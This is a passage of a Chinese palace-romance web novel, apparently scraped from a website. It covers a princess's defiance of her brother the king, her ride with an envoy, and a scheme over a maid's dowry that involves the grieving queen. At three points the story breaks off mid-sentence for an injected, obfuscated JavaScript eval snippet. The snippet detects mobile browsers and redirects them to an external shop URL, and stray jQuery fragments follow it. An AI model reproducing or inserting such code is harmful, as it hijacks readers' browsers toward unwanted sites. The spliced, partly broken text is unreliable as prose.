地,手指死死抠着石栏。他见两人贴在一起,一股前所未有的怒意,涌了上来。 那本该是他的位置。能拥抱她、保护她、承接她坠落和眼泪的,从来都只有他康朔一人。 严修明他算个什么东西?! 而另一边,康缇被这坚实温热的臂膀包裹着,只觉天地颠倒,五脏六腑都似移了位。 待尘埃落定,她感到环在身上的力道突然松了松,才缓缓睁开眼睛,只见严修明豁大的一片胸膛,上下起伏不定。他正躺在自己身下,眉头紧锁,表情扭曲,显然摔得不轻。 “你、你没事吧?”康缇紧张地问。 她担心自己压着严修明,会令他更难受,便赶紧起身。可她刚伸手按住地面,撑起半截身体时,严修明却突然搂住了她的腰。 “别急。”他吸着气,声音有些发颤,却仍竭力维持平稳,“当心摔坏了骨头,慢慢起来。” 康缇脸上顿时一热,一抹红晕飞上脸颊。 她依照严修明的嘱咐,小心翼翼地挪动了左腿,然后是右腿、膝盖、小腹、胳膊……每动一处,都先试探着力道,偶尔牵扯到痛处,她也只是轻哼一声。 这说短不短,说长不长的过程,虽然是在分离,却让两个身体对对方的感知,更加清晰。他们时而分开寸许,时而又在调整姿势时,不经意贴得更紧。锦布摩擦,体温透衣。 待康缇全须全尾地站起来,第一件事,便是抬头望向元台上的王兄。 目光相接。 剑拔弩张。 康缇虽说是哭过一场,但此刻脸上却是无比明媚,声音也变得清扬悦耳:“王兄,我跳下来了,该你了!” 元台之上,康朔逆着光,脸上只有一片阴沉。他没搭理康缇,而是强压着怒火,清了清嗓子,对严修明道:“小妹昨夜醉酒,至今神思恍惚,方才险些失足跌落。多亏严正使及时相救。” 严修明此时也已缓过气,撑着地面站起身,拍了拍衣袍尘土,虽然姿态还是不大协调,但语气却已恢复沉稳:“康王言重了。公主乃大雍新妃,而我作为雍臣,理应护卫周全,这是外臣分内之责。” 说罢,他走到一旁,俯身捡起掉在地上的乌木牌位,仔细拂去上面的尘土,双手捧回康缇面前。随后,他竟单膝跪地,将牌位高举过顶,声音清晰而恭敬:“公主随身之物,臣,完璧奉还。” 康缇扫了一眼牌位,又抬头,挑衅般地望向康朔,嘴角挂着得意的笑容,一把将牌位接过来,抱在怀里。 “严正使,我以大雍新妃的身份,命你即刻护送我回璇玑塔。”她说话时,目光始终对着康朔。 “臣,遵命!” 说罢,严修明便跟在康缇身后,向西康王宫仪门口走去。严修明紧随其后。 周围侍卫面面相觑,眼看公主竟要带着雍使径直离去,下意识上前阻拦。 “让她走!” 康朔的暴喝声在元台上炸开。他双目赤红,握紧拳头,狠狠砸在冰冷的石栏上,一下,两下,三下……砸到骨节上的皮肉都绽开了,不一会儿便鲜血淋漓。 “让她走!”他忽而转身,冲着场中所有人嘶吼,“她若有能耐便别回来!若是回来……看我怎么收拾她!” 22. 好斗之徒(6) 西康王宫不算大,可从元台到仪门这条路,却仿佛走了很久。这一道,走得严修明心烦意乱,脑中诸事翻腾。 身为雍臣、严门之后,他此行就是来给康朔难堪的。怎么让他不舒服,就怎么来。可严修明一直在纠结,方才的言行举止是不是太过了?毕竟那是未来的皇妃,两人就这样有了肌肤之亲。 可事急从权,也不能眼睁睁看她从元台上摔下。 罢了,肌肤之亲实属无奈,救人性命总是第一要义。事已至此,多思无益。 一桩心事才按下,另一桩又浮起。 他跟在康缇后面,目光落在她的脚上。那双赤足正踩着粗砺的地面,沾染了许多尘土,甚至隐约可见细微血痕,顿时泛起了怜香惜玉之情。 “是否该将靴子脱下来给她穿着?”严修明思忖,莫说康缇是将来的皇妃,纵使是寻常女子,也不该如此狼狈。 可一转念又觉得不妥。若将靴子给了她,自己就得赤脚行走于西康王宫,这成何体统? 正当他踌躇犹豫间,前面的康缇突然回头,扬声道:“严正使,快点!” 这一回眸顾盼,晴光潋滟,山色初霁,令严修明微微一怔。 他看她,虽然披发赤足,衣衫微乱,走起来却是大步流星。阳光泼洒在那身朱樱色衣袍上,泛起一层碎金般的光晕,竟生出几分少年将领的意气风发。 不知不觉,心底那点烦乱渐渐散了。 “公主,等一下。” “怎么了?” 他弯下腰,去够脚上的靴子:“地上凉,您先穿臣的靴子吧。” 康缇心绪微动,旋即上前拉住他的胳膊:“我从不穿别人的衣物鞋靴。” “唔?” “我从不穿别人的。”康缇重复了一遍,笑了笑,扬长而去。 严修明望着她,不觉唇角微扬,眼底泛起一片柔光。他就这样默默跟着,一路随她出了王宫仪门。 门外是他的马车。 严修明快走两步,抢先掀起车帘,侧身道:“公主请。” 待康缇弯腰进了车厢,他刚要随之上车,却猛地刹住了,心觉不妥。他一个外臣,岂能与公主同车共乘? 于是,严修明收回脚步,转而绕到车前,对那车夫低语几句,塞过几个钱,让他寻个地方歇着去,喝酒吃肉皆可,逛够了径回西华馆便是。 车夫乐呵呵地躬身退下。 严修明才提带撩袍,坐上了车夫的位置,手执缰绳,亲自为康缇驾车。 车轮辘辘作响。行了片刻,车帷后忽然飘来康缇的声音:“严正使,昨夜你为何没来?” 严修明脊背微微一僵,清了清嗓子:“哦,昨夜公主赐宴,外臣……多饮了几杯,不慎昏睡过去,便忘了。” “那你今日入宫,是来赴约的吗?” “我……”严修明声音低了下去,含混不清地“哦”了一声。 康缇抿着嘴笑了。 她透过车帷的缝隙,窥见严修明的后背。他膀阔三庭,像一道结实的大石门,脖颈三寸,是蛋金色的皮肤,那里隐隐散出些热腾腾的气味,与他衣服上的甘松和零陵香极为不同。 是男人身上特有的,近似走兽的血肉气味。 康缇稍稍倾身向他,尽量嗅得明白。 没错,是个走兽。 车架走了一阵,不知不觉便到了璇玑塔。严修明一勒缰绳,车稳稳停在塔门口。 “公主,到了。”他翻身下车,来到后面,稍稍掀起车帘,请康缇下车。 可康缇坐在车内,并没有要下来的意思。 “严正使,我今日没有梳妆,也没穿鞋,就这样出来,嗯……”她故意做出为难的表情。 严修明环顾四周,压低声音:“此时无人,请公主快些下车,径直回塔,不会有人瞧见。” “既然如此,你便同我一起进去。”她说,“昨日你可是失约了。” “我……” 严修明哑口,心道:公主不下车,原来在这儿等着我呢。 犹豫片刻后,他“唰”地一把放下车帘,再次跳上车,架着驶向了西华馆。 到了馆前,他并未将马车交给马房小厮,而是命亲信看住车子,不许旁人靠近,更不许窥视车内。交代完毕,他便匆匆步入馆中,许久未出。 康缇不知他搞得哪门子名堂,微微抬起车帘,向外望去,却只见几名护卫来回踱步。 “他这是要做什么?” 正等得着急,外面的护卫突然唤了声“严国公”。康缇赶紧眨着眼睛,贴向车帘缝望去。 只见严修明着一身麒麟褐色私服长袍,怀里还抱着一个包裹。他急匆匆地回到车上,挥手屏退护卫,再度驾车调头。 马车驶离西华馆一段路后,严修明将那布包从帘缝中塞了进去:“公主,快换上。” “这什么啊?”康缇解开包裹,见里头是一件男子长袍:“我说过,我从不穿别人的。” “你不穿,我就不去了。”严修明言简意赅。 “哦。” 她匆匆披在身上,还未系好衣带,车子便又停了下来。 两人又回到了璇玑塔。 此时正值午时,街市上人来人往,食摊前热气蒸腾,笑语喧哗伴着饭菜香气飘散开来,正是最热闹的时候。 “好了吗?” “好了好了。” 康缇一手揪着松垮的衣领,一手拢着披散的长发,手忙脚乱地从车里钻出。双脚刚落地,就被严修明按着头,一把揽进怀中。他用手臂将康缇的脸掩在衣袖之下,就这样挟着她,快步走向塔门。直至守卫跟前,他才松手。 康缇直起身,守卫顿时神色一僵。施礼间,心中暗忖:公主这般披头散发、衣衫不整的模样,不知又去哪里闹过一场,还是赶紧让她进去为好,免得在外生出事端。 几人便也未加阻拦。 还是上次那个敞轩。 大片阳光透过窗棂,铺陈在地面,像是一块块金毯。二人置身其间,四周皆是发光的尘埃,像是冬雪落下。 可此间却是温暖的。 甫一进屋,康缇与严修明相视一眼,不知触动了哪根弦,突然开怀大笑起来,笑得眉眼俱弯,笑得花枝乱颤。而严修明看着她,嘴角也扬起了微笑。 笑过一阵,康缇雀跃着走到软榻边,坐了下来:“昨日原本备好了果子和酒水,只是……罢了,我再让人备些来。” 说罢,她抬眼看向严修明,示意他也过来坐。 严修明一动未动,脸上依旧挂着些许笑意:“不必了,我待一会儿便要走了。公主有何吩咐,但说无妨。” “呃……”康缇忽然感到意兴阑珊。 他总是这样。 闲聊闲聊,就得两个人都有闲心。一个有心,一个无意,怎么聊得起来? 可即便聊不起来,她也不甘心让严修明就这么走了,便又沉默了。 严修明见她脸色暗淡下来,心知是自己言语太过冰冷,便赶紧找补道:“公主方才摔那一跤,现在可有不适?” “没有。” “那就好。”严修明微微舒了一口气,“只怕外臣莽撞,唯恐误伤了公主。” “你呢?” “无事。” 严修明身子先着地,要说一点没事,也是不可能的。只不过没伤着筋骨,肌肉皮肤上些许疼痛也能忍住。 他在康缇面前,始终站得笔直。 可康缇也不傻。 她目光落在他身上,上下打量一番,嗔道:“你确实莽撞。” “嗯?” “那元台丈余高,你竟敢让我跳,这不是莽撞是什么?” “公主教训的是。”严修明躬身以示歉意,然后顿了顿,又补充了一句,“今后……再也不敢了。” 果然,康缇如他预料中一样,语气急恼起来。 “你住嘴!”她蹙起长眉,瞪着一双杏眼,嘴角也向下撇着。 严修明一直保持着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133768|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躬身低头,但原本个头就高,只消稍稍抬眼,便能看见她整张脸气鼓鼓的、孩子一般又娇又横的表情,忍不住笑了笑。 也因为他个子高,即便低头偷着笑,康缇也是能看清的。 她腾地一下,从软榻上跳下来,疾步来到严修明面前,一把抓住他肩头的衣料,猛地将他推起:“你笑什么?” 严修明不语,嘴巴紧紧抿着,依旧憋着笑意。 康缇眨了眨眼,突然反应过来:“你、你逗我?” 严修明依旧不语。 “登徒子!”她骂了一句,白了一眼,然后昂着头,转身回到软榻上,嘴角却悄悄弯起,含着笑意。 严修明这才缓步跟来,坦然地在她对面的榻上落座。 康缇唤来塔内侍奉的婢女,不多时,几碟精致的瓜果点心便布在了案上,并着一壶雪芽、两盏白瓷杯。 “严正使。”康缇一边斟茶,一边正色道,“这些日子在金凉,你或许也听说过,我与王兄之间……” “公主不必多说,”严修明接过话头,“寻常人还道‘家家有本难念的经’,更何况是王公贵族,君臣父子,兄弟姊妹,利害纠缠,只会更难。” “嗯,但是我……我王兄他……和你想的不一样。” “我不关心康朔作何想法。”他坦然直呼西康王的名讳,“除非在战场相见。” 康缇拿着茶杯的手微微一颤:“雍帝果真有意攻打西康?” “迟早的事。” “哦。”康缇叹了口气。 她当然知道,两国兵戈相向,是迟早的事。此番联姻,只是乱局中一步缓棋。可身为西康公主,这是她的责任。 只要她嫁过去,两国便多得几年太平。有了这几年,边境的将士可整饬防务,百姓能稍得喘息,朝廷也可从容筹措。不至于仓促开战,民生凋敝。 一想到这,胸中那口气又堵了上来。她紧紧抿着嘴唇,沉默良久,才像下定某种决心一般,再次开口:“严正使,其实,我不是不能嫁,只是……从前王兄待我那样好,如今却要我远赴大雍,我……我不甘心就这样嫁了。你、你能明白吗?” 她抬起盈盈的眼眸,注视着严修明:“你能明白吗?我想……我若嫁过去,必定是心甘情愿的,而不是像物件一样……我……” 几句话,被她说得颠来倒去,语无伦次,却始终无法道破心底的委屈。 严修明静静地看着她,接过那茶壶,将两人的杯子斟满。然后端起康缇那只杯子,递到她嘴边:“茶正温,润润喉吧。” 康缇接过杯子,轻轻抿了一口。 严修明将目光移向窗外,话锋也随之转了:“我还记得,少时随父亲学习骑射。有一回校场比试,我三箭连中靶心,最后一箭更直贯红心。那时高兴极了,大笑着跳下马来,朝父亲奔去。父亲自然也笑了,将我高高举起,勉励我日后更当勤学苦练,将来驰骋沙场,奋勇杀敌,建功立业。” 他顿了顿,也抿了一口茶。 “然后呢?”康缇不自觉地向前倾身。 “然后,”严修明轻轻叹了口气,“然后也没什么,只是听见父亲那番话后,我突然就没了兴致。” 康缇闻言,垂下眼睛,心中思绪翻涌。 “我当时便想,勤练骑射,难道就为了上战场,去杀那些与我不相干的人,去杀别人的夫君和儿子吗?难道就不能单单为了高兴吗?” 严修明说罢,先前眼中的笑意,早已荡然无存,只剩下一脸倦意。 康缇望着他,一时无言。 她不知道该说些什么。因为,这种感觉,她太懂了。 无数次,她与王兄便是如此。听他陈说家国利害、王室责任,字字在理,句句无误。可她就是听不进去。 包括此次出嫁。 她不是不能嫁,只是不甘心在一个君王的命令下,被推向他乡。她若嫁,一定是怀揣对血脉亲人的爱意,一定是满载对故土山河的眷恋。 绝不是服从。 23. 对决(1) 狼在精疲力尽时,从不贸然进食。它会寻一处岩隙,蜷身其中,阖目养身。只需片刻歇息,便能恢复战斗的力气。 送走严修明后,康缇在璇玑塔踏踏实实睡了一觉,第二天更衣盥洗后,红光满面地回到了□□宫。回宫第一件事,便是传唤红熙。 还是先前主仆二人单独说话的房间,还是紧闭了门窗的房间。 康缇坐在桌前用膳。今日她胃口奇好,光是胡麻饼便吃了两张,还叫人做了羊汤面,并一小碗青稞油酥酸奶。她的碗筷偶尔轻轻碰在一起,发出“叮咚”的声音,在安静的房间里,格外刺耳。 跪在一旁的红熙听着,犹如一道道雷击般恐怖,心神反复被这声响折磨着。 她已经在地上跪了一个多时辰了。尽管跪得双腿发酸,膝盖发软,也不敢吱声。毕竟,昨日康缇可是为了她,与王上置了好大的气,还从元台上跳了下来。眼下,她只得慎之又慎,唯恐再生事端。 然而,纵使她心中不愿起事端,奈何这两条腿实在扛不住,膝盖从酸胀变得麻木刺痛,甚至后背都渗出了冷汗。实在难受得紧,她稍稍抬了抬右腿膝盖,想挪开一寸,谁料这一动,牵连着整个身子都歪倒了。 “哦。”她赶紧用指尖撑住地面,才堪堪稳住身体。同时抬眼看向康缇,趁着她正用膳,未曾注意到自己,赶紧回正身体。 “怎么?跪不住了?”康缇慢条斯理地吃着,看都没看她一眼。 红熙垂下眼睛,也不敢看主人:“奴婢不敢,奴婢……跪得住的。” “哼,”康缇嗤笑一声,“跪不跪得住,与你敢不敢,有何关系?”说着,她撂下碗筷,转头看向红熙,“起来吧,搬个凳子过来,坐在这儿。” “奴婢不敢。” “怎么?觉得自己要当最贵的奴,连我的话都不听了?”康缇揶揄道。 “不是的……”红熙连声辩解,“奴婢对不起公主,实在没脸在公主面前坐着。” “让你坐,你就坐。我有话同你讲。” 闻言,红熙只好照做。她喉头动了动,咽下所有恐惧,颤颤巍巍站起身,发麻的腿勉强支撑起身子,走到墙角,搬来一个凳子,挨着边沿坐下,双手规规矩矩地叠放在膝上,低着头等待康缇发落。 康缇看着她柔顺怯弱的样子,心中有一种志在必得的愉悦与从容。 “这些年,我的贴身婢女,来来去去,换过好几波。她们中的大多数,我都记不得名字了,仅有寥寥几个,合我心意。其中便有你。” “蒙公主厚爱,奴婢……惶恐。” “有什么可惶恐的?”康缇冷笑一声,“得了我的喜欢,也未必是件好事。得了王兄的喜欢,才真是你的福气。” “……” 红熙脸上白一阵,红一阵,始终不敢抬头看主人一眼。 康缇继续道:“我喜欢你,真心愿你比那些庸碌之人过得好些。既然你与王兄有了这番机缘,我也没道理横加阻拦。这样吧,我去问一下王兄,若他愿收了你,你便留下,不必随我远嫁大雍。” 红熙怔了怔,心中惊疑不定,心说主人昨日一早明明发了好大的脾气,这会儿怎么突然想开了,还愿意成全自己。 可再细想,又觉得不大对劲儿。 “奴婢不敢,奴婢万万不敢。”红熙怯生生道,“公主殿下昨日同王上那般置气,全是因为红熙,我……我怎会还有脸面,请公主殿下为我说项?” 康缇听了这话,“噗”地笑了一声:“怎么,你是觉得我与王兄闹过一场,他余怒未消,怕我此时去提亲,坏了你的事?” “不是……不是这样的。”红熙站起身来,急忙解释,“奴婢只是怕再惹您与王上心烦。” “呵呵,你不是伺候过王兄吗?他对我是何等喜爱,你应当是知道的。女子对付心悦自己的男子,不就是那几招,撒撒娇、说两句软话,即便捅出天大的娄子,他也会想方设法原谅。这有何难的?” 康缇缓缓起身,走到红熙面前,手指轻轻抚摸着她的脸颊:“红熙啊,你是我在西康唯一放心不下的。安顿好你,我才可安心赴雍。” 几句话,柔声切意。这哪像主人对奴婢说的?这是至亲姐妹才有的情谊。 红熙听得感激涕零,“扑通”一声跪倒在康缇面前:“谢公主成全!奴婢此生愿为公主肝脑涂地,以报恩情!” “说的什么话?”康缇扶起她,轻轻嗔怪一句,“不日你便是我的王嫂了,我们往后便是亲人。这见外的话,再也不许提。” 红熙激动得说不出话来,一个劲儿地点头。康缇拉过她的手,继续说道:“我想为你准备一份嫁妆。” “嫁妆?” “嗯。” 说罢,康缇叫来门外候着的婢女,令其唤来掌事嬷嬷,并吩咐她们,将□□宫库里所有的东西,不拘大小,无论贵贱,全都搬出来。就摆在这院子里,供红熙挑选。凡她看中的,均充作她的嫁妆。 就这一道命令,让整个□□宫都炸起来了。 宫人全部被调动起来,如工蚁般穿梭不息。沉重的箱笼、精巧的匣盒、裹着锦缎的卷轴、锁在深柜中的奇珍……康缇多年积累的私藏,被毫不吝惜地一一抬出,暴露在春日明亮的阳光下。 金器耀目,玉器生辉,硕大的东珠浑圆莹润,未经雕琢的宝石原石折射出斑斓的光彩,绫罗绸缎堆积如山,色彩绚烂得要灼花人眼。 器物源源不断,很快铺满了庭院,又沿着宫道向外蔓延到□□宫外,珠光宝气一路流淌…… 搬运的宫人不够,掌事嬷嬷持着公主的令牌,匆匆赶往内务司借调人手。司主事听闻是那位刚跳了元台的公主下令,谁也不敢说个“不”字,只得拨出人手,供她差遣。 这些被借调来的宫人,一踏入□□宫,无不倒抽一口冷气。他们几时见过这等富贵?一个个手脚都不知道该往哪里放,只敢低着头,按吩咐小心挪动那些他们连名字都叫不出的宝贝。 至于这些财宝的主人康缇,她命人搬了一把太师椅在院中,此刻正慵懒地坐在那儿,气定神闲地喝茶。她的目光不时掠过满地琳琅,表情显得有些倦怠。 待宝物都搬了出来,掌事嬷嬷来报,康缇懒洋洋地放下茶杯,坐直身子对红熙道:“去挑挑吧,若有认不得的,让库管说与你听。凡你看入眼的,便指出来,让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145651|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记下,随后造册。” 就这样红熙在一名库管内侍和一名文书内侍的陪同下,走近这片财富汪洋。 金玉璀璨、绮罗生辉,闪得人眼花缭乱。红熙一边看着,一边听库管介绍各种财物,竟起了一阵眩晕,心神被一种奇异的感觉攒住。那是一种在深渊里淘金的感觉,惴惴不安、欲罢不能。 她试探着,伸出略微颤抖的手,虚虚地指向距离自己最近的一盘金饰。 “赤金点翠凤衔珠步摇一支——”库馆内侍立刻高唱道,调子拉得特别长。 一旁的文书内侍也赶紧提笔,在册子上工整地记了下来。 是了。 就是这种感觉。 只要她的手指点一点,昂贵的珠宝财物,即刻成为私有。完全是梦幻一般的感觉。 这感觉,像极了被康朔临幸的夜晚,像极了被他半逼半诱,走向极乐的那个瞬间。 红熙深吸一口气,向前迈了一步,再次抬起手,然后是第三次、第四次……她始终是头晕目眩的,每一次抬手、每一个动作,都出自本能。 直到此时,康缇脸上那倦怠的表情,才起了变化。她微微挑眉,目不转睛地盯着红熙,露出了玩味的笑容。 足足两个时辰,红熙终于挑完了,两眼放光、眉飞色舞地向康缇谢了恩。 康缇放下茶杯,接过被内侍写得密密麻麻的册子,心满意足地笑了:“好,我这就去与王兄商议,最好赶在我离开金凉城之前,先把你的事办妥。” “多谢公主殿下。” 这边散了,康缇命人将红熙的嫁妆单子誊抄了一份,命婢女窦韦捧着,一同离开□□宫。 但她并未往康朔的清慧殿去,而是去了何瑛姃的寝宫澄芳苑。 澄芳苑内,到处弥漫着草药的气味。何瑛姃小产,还在休养,日日离不开草药。 康缇一踏入院中,闻到这股酸苦酸苦的气味,心中不觉憋闷起来。再闻一闻,竟有些恶心。说起来,还是因为心中有愧。 这些日子,她几次想来看望何瑛姃,却因为心底那点羞愧,始终提不起勇气。如今她倒是来了,却是因为另一桩事,却也不是坦诚地道歉。 想到这,康缇心中泛起一阵寒意。不是为别人,而是为她自己。她发现,从自己开始说话的那一刻,竟也变得同王兄一样巧言令色、虚伪至极。 恶心的感觉越来越甚。 然而,她并没有停下脚步。 穿过院子,来到后宅,进了何瑛姃的卧房。她正半靠在床上,一身素白中衣,头发松松挽着,未施脂粉的脸上透出些许苍白。 听见脚步声,她缓缓抬眼,见一个熟悉的身影,逆光站在门口,顿时愣住了。 “你……你怎么来了?”她声音很轻,像呵气一般。 康缇的双手,藏在袖中,扣得紧紧的,眼神更是慌张无措。 一路上,她反复斟酌,想了无数寒暄的说辞。然而,此刻看见何瑛姃苍白的脸,却一句都说不出口。 她尝试着张了张嘴。一瞬间,悔恨和委屈涌了上来,竟“呜”地大哭起来。像一个犯错被赶出家门的小孩,等待母亲唤她回来。 24. 争(2) 康缇一贯如此。身为西康公主,她以同情奴隶下人为耻,可孤独脆弱的时候,又不自觉地依赖他们。因此,她不会对任何一个人表达关心,只会大把大把地赏赐。 钱在哪里,情就在哪里。 回想先前主仆一场,点点滴滴,何瑛姃不觉流下眼泪。 半晌,她抹了把眼泪,收拾好心情,又对那掌事嬷嬷道:“公主的心意,我收下了。你回去,替我带句话。那日的事,是意外,我不怪她。终归是我自己福薄,留不住王上的子嗣。” “哎哟,王妃您这说的是哪儿的话?”嬷嬷连连摆手,语气恳切,“您贵为王妃,尊贵无比,怎会福薄?您若是福薄,这宫里可再找不出有福之人了。” “好了。”何瑛姃轻轻打断她,“嬷嬷,咱们不必说这些虚话。你且说说,公主寻了个什么由头?我虽说在休养,可若能帮得上忙的,一定尽力而为;帮不上的,也能给出出主意。” “唉,说起来,这件事也与王妃您有关。” “哦?” 那嬷嬷朝何瑛姃跟前凑了凑:“您知道,公主她就是刀子嘴,豆腐心。当年您从咱们□□馆离开,她心里的气就不顺,给了您不少脸色,但她心里却不是冲着您的。如今,公主自个儿也琢磨明白了,知道‘人往高处走’,您当初的选择,并无错处。只是念着昔日情分,总觉着亏欠了您的。” “你与公主说,我从未怪过她。” “王妃您是宽宥仁慈的,可是我们公主她……她心里过不去这个结。”嬷嬷叹了口气,“这不,眼下□□馆里又有个婢女要嫁,公主便想起当初您出嫁时的情景,说什么都要风风光光地操办,以了结当初对您的遗憾。” 何瑛姃闻言,心中越发觉得安慰。这些年对康缇的用心,也算有了回报,不禁叹道:“缇儿确实有心了。” 旋即,她脸上露出淡淡的笑容,又对嬷嬷道,“是嫁的哪个婢女,红熙还是窦韦,可有我能帮上的忙?” “是红熙姑娘。” “要嫁给谁?” 嬷嬷没有直接回答,而是从袖中取出一卷厚厚的礼单,双手呈上:“公主想给红熙备一份厚厚的嫁妆,这是拟好的单子。我们这些做奴才的眼界浅,怕有思虑不周的地方。听闻王妃先前操办过身边人的婚事,公主想请您费神,给过过目,看看是否有疏漏?” 何瑛姃接过那卷礼单,缓缓展开。 好家伙,那么长的礼单,上面是密密麻麻的条目,记的好些稀罕物件,她作为王妃都不曾见过。 “这……这嫁的可是王室贵族?” 嬷嬷神神秘秘地一笑,旋即说道:“是要嫁给王上。” “王上?”何瑛姃脸色骤变,瞪着一双干涩的眼睛,“你是咱们的王上?” “正是。” 霎时,何瑛姃大脑一片空白。 沉默半晌,她才缓过一点心神,将信将疑地问:“不是,这事儿从何说起?红熙怎么要嫁给王上?” 看着何瑛姃那不算好看的脸色,嬷嬷也跟着紧张起来,她犹豫着,终于沉下一口气,说道:“王上临幸过她。公主说,既然红熙有这机缘,不如把她留下,免得随公主嫁去大雍那么远,落下思乡之苦。” “王上临幸过红熙,这是几时的事?” “就是大前天的事。” “大前天?”何瑛姃掐指一算,那不正是自己被康缇的马冲撞、小产的日子吗? “你确定是大前天?” “确定,这不久的事,奴婢怎会记不清?”嬷嬷道,“再说,清辉殿的人也都知道。” 闻言,何瑛姃又感到脑海中一阵嗡鸣,身体也骤然发冷。 记得小产那日,她哭得撕心裂肺,是康朔紧紧抱着她,在耳边不断说着体贴的话: “瑛儿平安就好。” “瑛儿别怕,我们还会有子嗣的。” “瑛儿,你这样哭,我心都碎了。” …… 他前脚还那么深情,后脚就临幸了红熙。 那么这深情到底算什么? 还有康缇。 她遣人送来补品和歉意,何瑛姃差点就受用了。可细想之下,康缇可是康朔的妹妹,恐怖如斯、冷漠如斯,她怎会甘心委屈自己,全了别人的心意? “王妃,您没事吧?王妃?” 嬷嬷唤了几声,何瑛姃回过神来,将礼单还给她:“这单子,我恐怕是看不了的。红熙出嫁,事关王上,非你们公主能够定夺的。” “可是……”嬷嬷面露难色,“您不看,我回去怎么和公主交代呢?” 何瑛姃思量一番,说道:“这样,你先回去,叫红熙明日来,我要亲自问话。若她当真愿意嫁给王上,我再帮她。” “哎哎,多谢王妃……”嬷嬷连声道谢。 事情办妥了,该说的话也说了,见王妃再无吩咐,她便欠身退下了。回到□□馆,嬷嬷将这一趟的来龙去脉,毫无保留地禀报给康缇。康缇听着,脸上除了些许迷惘和疲惫,再没有任何表情。 待嬷嬷禀报完毕,她也只是摆了摆手,让她转告红熙,单独去见王妃。 红熙还沉浸在待嫁的喜悦中。翌日,她疾步赶到何瑛姃的寝宫,见她已经起身,简单梳洗打扮了一番,却还是掩盖不住憔悴。 “婢女红熙,见过王妃。”红熙施礼。 何瑛姃斜靠在一张软榻上,摆了摆手,让她起来:“你与王上的事,我已知晓。今日叫你过来,就是问问,嫁给王上,这是缇儿的意思,还是你的意思。” 红熙犹豫了一下,谨慎地回道:“回王妃,奴婢全凭公主殿下安排。” “你不必同我讲那些虚的,我只问你,你到底愿不愿意留下伺候王上?” 红熙又是一阵犹豫,还是那句话:“奴婢听公主的安排。” “呵!”何瑛姃冷笑一声,“你知道缇儿打算怎么安排你吗?” “知道。” “你不知道!”何瑛姃吊着气力,稍稍提高了声量,“你我同为婢女,当日我嫁与王上,缇儿是何等不愿。今日你也要嫁,你以为她会心甘情愿送你吗?我还没出这小月子,她就遣人来,将你和王上的事说与我听,还特意点明了你是哪一天伺候王上的,为的就是激怒我,好借我这把刀,杀杀你的妄念!” 红熙闻言,不予置否,只是紧张地攥起手来,将头垂得更低,不敢看王妃。 何瑛姃又道:“我再问你一句,你到底怎样打算,还想不想伺候王上?” “……” 何瑛姃见红熙沉默,便已知晓了答案。她顿感心头发闷,却仍强忍着不适,用温和的语气劝道:“你我原本都是奴,我知道你想走我的路。人往高处走。你有这个想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152761|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法,无可厚非,不论缇儿怎么打算,我都不会为难你。可我得告诉你,这条路并不好走。今日的我,你也看见了。”她说着,微微张开一边胳膊,“我连自己的孩儿都没保住。” 红熙微微抬起头:“王妃是被公主的马冲撞了,可是……公主马上就要离开西康了……只要王妃您容得下我,我就……我就……” “你就能像我一样,一步登天了?”何瑛姃替她说了未尽之言,而红熙也默认了。 “罢了,各人有各人的命。”何瑛姃叹了一口气,“你若执意想嫁,也可以,等康缇去了大雍之后,你先来我宫里,日后则一时机,由我去找王上说项。” 可红熙却含蓄地回道:“此事我做不了主,还得听公主安排。” 何瑛姃闻言,便知道她没听进去自己的劝导,可也不便进一步解释。毕竟,一解释开了,必定牵涉到康朔那不可言说的秘密。 康朔深爱康缇,何瑛姃这个王妃,早就看出来了。并且在红熙来之前,她便遣人去清辉殿打听,知道那晚红熙是怎么侍的寝。 不能让王上越陷越深。 这是何瑛姃唯一的想法,也是她不愿红熙即刻嫁给康朔的原因。 “罢了,各人有各人的命。”何瑛姃心说,总不能因为自己那点同情心,当真不顾康朔的体面。便由着红熙去了。 ﹡ 有些东西,一旦被惦记上,就好像它本该是自己的。 红熙离开王妃的寝宫,一路往回走。风刮在脸上,却吹不散心头那股闷火。她暗自思忖:公主已开了金口,王妃却偏要横插一手,说什么“日后再议”。这哪是帮忙,分明是想拉拢自己,成为她的人。如此,即便自己的身份不再是奴,却也要当何瑛姃的奴。 呵,她何瑛姃凭什么? 红熙心中不快,脚下步子也越发急了,一回到□□馆,便径直寻到康缇,将王妃的话,一股脑儿全部告知公主。还特别说明,何瑛姃是如何揣测康缇想借刀杀人。 康缇闻言,眼中短暂地闪过一丝失落。 何瑛姃猜得太对了。 她就是想看何瑛姃嫉妒、愤怒,进而失去理智,狠狠地治一治红熙。让她知道那是一条走不通的路,唯有随自己去大雍,才是一条生路。 